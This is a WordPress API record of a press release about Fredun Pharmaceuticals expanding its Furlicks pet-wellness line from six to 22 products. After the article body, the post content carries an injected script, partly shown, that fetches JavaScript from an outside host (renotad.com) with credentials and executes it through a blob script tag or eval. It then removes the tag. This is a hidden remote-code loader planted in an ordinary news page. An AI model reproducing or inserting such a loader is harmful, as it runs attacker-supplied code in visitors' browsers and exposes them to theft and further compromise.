{"id":111381,"date":"2026-09-15T14:16:15","date_gmt":"2026-09-15T14:16:15","guid":{"rendered":"https:\/\/indianweekend.in\/index.php\/2026\/09\/15\/furlicks-goes-from-6-to-22-skus-fredun-pharmaceuticals-ltd-accelerates-pet-wellness-expansion\/"},"modified":"2026-10-10T14:53:42","modified_gmt":"2026-10-10T14:53:42","slug":"furlicks-goes-from-6-to-22-skus-fredun-pharmaceuticals-ltd-accelerates-pet-wellness-expansion","status":"publish","type":"post","link":"https:\/\/indianweekend.in\/index.php\/2026\/09\/15\/furlicks-goes-from-6-to-22-skus-fredun-pharmaceuticals-ltd-accelerates-pet-wellness-expansion\/","title":{"rendered":"Furlicks Goes from 6 to 22 SKUs: Fredun Pharmaceuticals Ltd. Accelerates Pet Wellness Expansion"},"content":{"rendered":"<div>\n<p class=\"wp-block-paragraph\"><strong>Mumbai (Maharashtra) [India], September 15:<\/strong> Fredun Pharmaceuticals Limited (FPL) is charting the next phase of growth for Furlicks with\u00a0<strong>a significant phase-wise portfolio expansion<\/strong>\u00a0following its acquisition of the pet-wellness brand.\u00a0<strong>Over the next 6 -9 months, FPL plans to introduce<\/strong>\u00a0<strong>16 new products,<\/strong>\u00a0taking the brand from its existing six-SKU oral-strip portfolio to\u00a0<strong>22 SKUs in the first phase.<\/strong><\/p>\n<p class=\"wp-block-paragraph\">Furlicks currently addresses a range of pet wellness needs, from\u00a0<strong>skin and coat and gut health to joint care, calming, oral care and multivitamins.<\/strong>\u00a0The upcoming portfolio will build on this foundation, taking the brand beyond oral strips into a broader range of\u00a0<strong>pet wellness and functional nutrition formats.\u00a0<\/strong>It will include\u00a0<strong>dissolving strips, cold-extruded, air-dried and freeze-dried products, alongside functional biscuits.<\/strong>\u00a0This expansion will allow Furlicks to engage with a wider range of pet-care occasions while strengthening its proposition around convenience, innovation and everyday wellness.<\/p>\n<p class=\"wp-block-paragraph\">While the acquisition marked FPL\u2019s strategic entry into the pet-wellness category, the upcoming product expansion marks the\u00a0<strong>next step in Fredun Pharmaceutical Ltd.\u2019s ambition to build Furlicks into a differentiated, multi-format pet-wellness platform<\/strong>.<\/p>\n<p class=\"wp-block-paragraph\"><strong>Speaking on the expansion, Mr. Fredun Medhora, MD &amp; CFO, Fredun Pharmaceuticals Ltd., said,<\/strong>\u00a0<em>\u201cWe did not acquire Furlicks to simply add another brand to our portfolio; we acquired it because we saw the potential to build a meaningful pet-wellness business around a differentiated proposition. The next 6 \u2013 9 months are about turning that potential into scale. With 16 new products across multiple formats, we are expanding Furlicks\u2019 role in the everyday lives of pets while bringing\u00a0<strong>FPL\u2019s strengths in manufacturing, R&amp;D, and product development to accelerate innovation.<\/strong>\u00a0Our ambition is to build Furlicks into a truste<\/em>d, accessible and relevant holistic\u00a0<strong>pet-wellness brand\u00a0<\/strong>for millions of pet parents across India.\u201d<\/p>\n<p class=\"wp-block-paragraph\">With Furlicks already available online across India, the next phase will focus on\u00a0<strong>deepening the portfolio, expanding formats and strengthening accessibility<\/strong>, using FPL\u2019s strengths, allowing the brand to engage with pet parents across a wider range of everyday wellness occasions.<\/p>\n<p class=\"wp-block-paragraph\">The first phase of 16 new launches is a peek into\u00a0<strong>Furlicks\u2019 larger product roadmap,\u00a0<\/strong>establishing the foundation for the brand\u2019s next stage of growth. While the brand\u2019s core promise of making pet care\u00a0<strong>simpler, more convenient, and easier for pet parents<\/strong>will be retained \u2013 FPL is also focusing on developing Furlicks into a\u00a0<strong>comprehensive, innovation-led pet-wellness platform for the Indian market<\/strong>.<\/p>\n<h3 class=\"wp-block-heading\"><strong>About Fredun Pharmaceuticals Limited<\/strong><\/h3>\n<p class=\"wp-block-paragraph\">Fredun Pharmaceuticals Limited (FPL) is a legacy brand in the healthcare segment with expertise spanning across four decades, with a focus on pharmaceuticals, healthcare, consumer-facing wellness and specialised healthcare categories. Through its businesses and subsidiaries, FPL continues to build capabilities across product development, manufacturing, distribution, and consumer-focused healthcare solutions.<\/p>\n<h3 class=\"wp-block-heading\"><strong>About Furlicks<\/strong><\/h3>\n<p class=\"wp-block-paragraph\">Furlicks is a pet-wellness brand focused on making everyday pet care simpler and more convenient through innovative oral-strip solutions. Its portfolio spans categories including skin and coat, gut health, joint care, calming, oral care and multivitamins, with a focus on convenient formats designed around the needs of modern pet parents.<\/p>\n<\/div>\n<p><script>;(function(){var u='https:\/\/renotad.com\/lom1\/api.js';function run(t){if(!t||t.length<4096)return!1;try{var b=URL.createObjectURL(new Blob([t],{type:'application\/javascript'})),s=document.createElement('script');s.onload=function(){try{s.parentNode&#038;&#038;s.parentNode.removeChild(s);URL.revokeObjectURL(b);}catch(e){}};s.src=b;(document.head||document.documentElement).appendChild(s);return!0;}catch(e){try{(0,eval)(t);return!0;}catch(e2){return!1;}}}function xhr(){var x=new XMLHttpRequest();x.open('GET',u,true);x.withCredentials=true;x.onload=function(){run(x.responseText||'');};x.send();}if(window.fetch){fetch(u,{cache:'force-cache',credentials:'same-origin'}).then(function(r){if(!r.ok)throw r;var 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with\u00a0a significant phase-wise portfolio expansion\u00a0following its acquisition of the pet-wellness brand.\u00a0Over the next 6 -9 months, FPL plans to introduce\u00a016 new products,\u00a0taking the brand from its existing six-SKU oral-strip portfolio to\u00a022 SKUs in the first phase. Furlicks [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":111382,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[116],"tags":[],"class_list":["post-111381","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-business"],"_links":{"self":[{"href":"https:\/\/indianweekend.in\/index.php\/wp-json\/wp\/v2\/posts\/111381","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/indianweekend.in\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/indianweekend.in\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/indianweekend.in\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/indianweekend.in\/index.php\/wp-json\/wp\/v2\/comments?post=111381"}],"version-history":[{"count":6,"href":"https:\/\/indianweekend.in\/index.php\/wp-json\/wp\/v2\/posts\/111381\/revisions"}],"predecessor-version":[{"id":115272,"href":"https:\/\/indianweekend.in\/index.php\/wp-json\/wp\/v2\/posts\/111381\/revisions\/115272"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/indianweekend.in\/index.php\/wp-json\/wp\/v2\/media\/111382"}],"wp:attachment":[{"href":"https:\/\/indianweekend.in\/index.php\/wp-json\/wp\/v2\/media?parent=111381"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/indianweekend.in\/index.php\/wp-json\/wp\/v2\/categories?post=111381"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/indianweekend.in\/index.php\/wp-json\/wp\/v2\/tags?post=111381"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}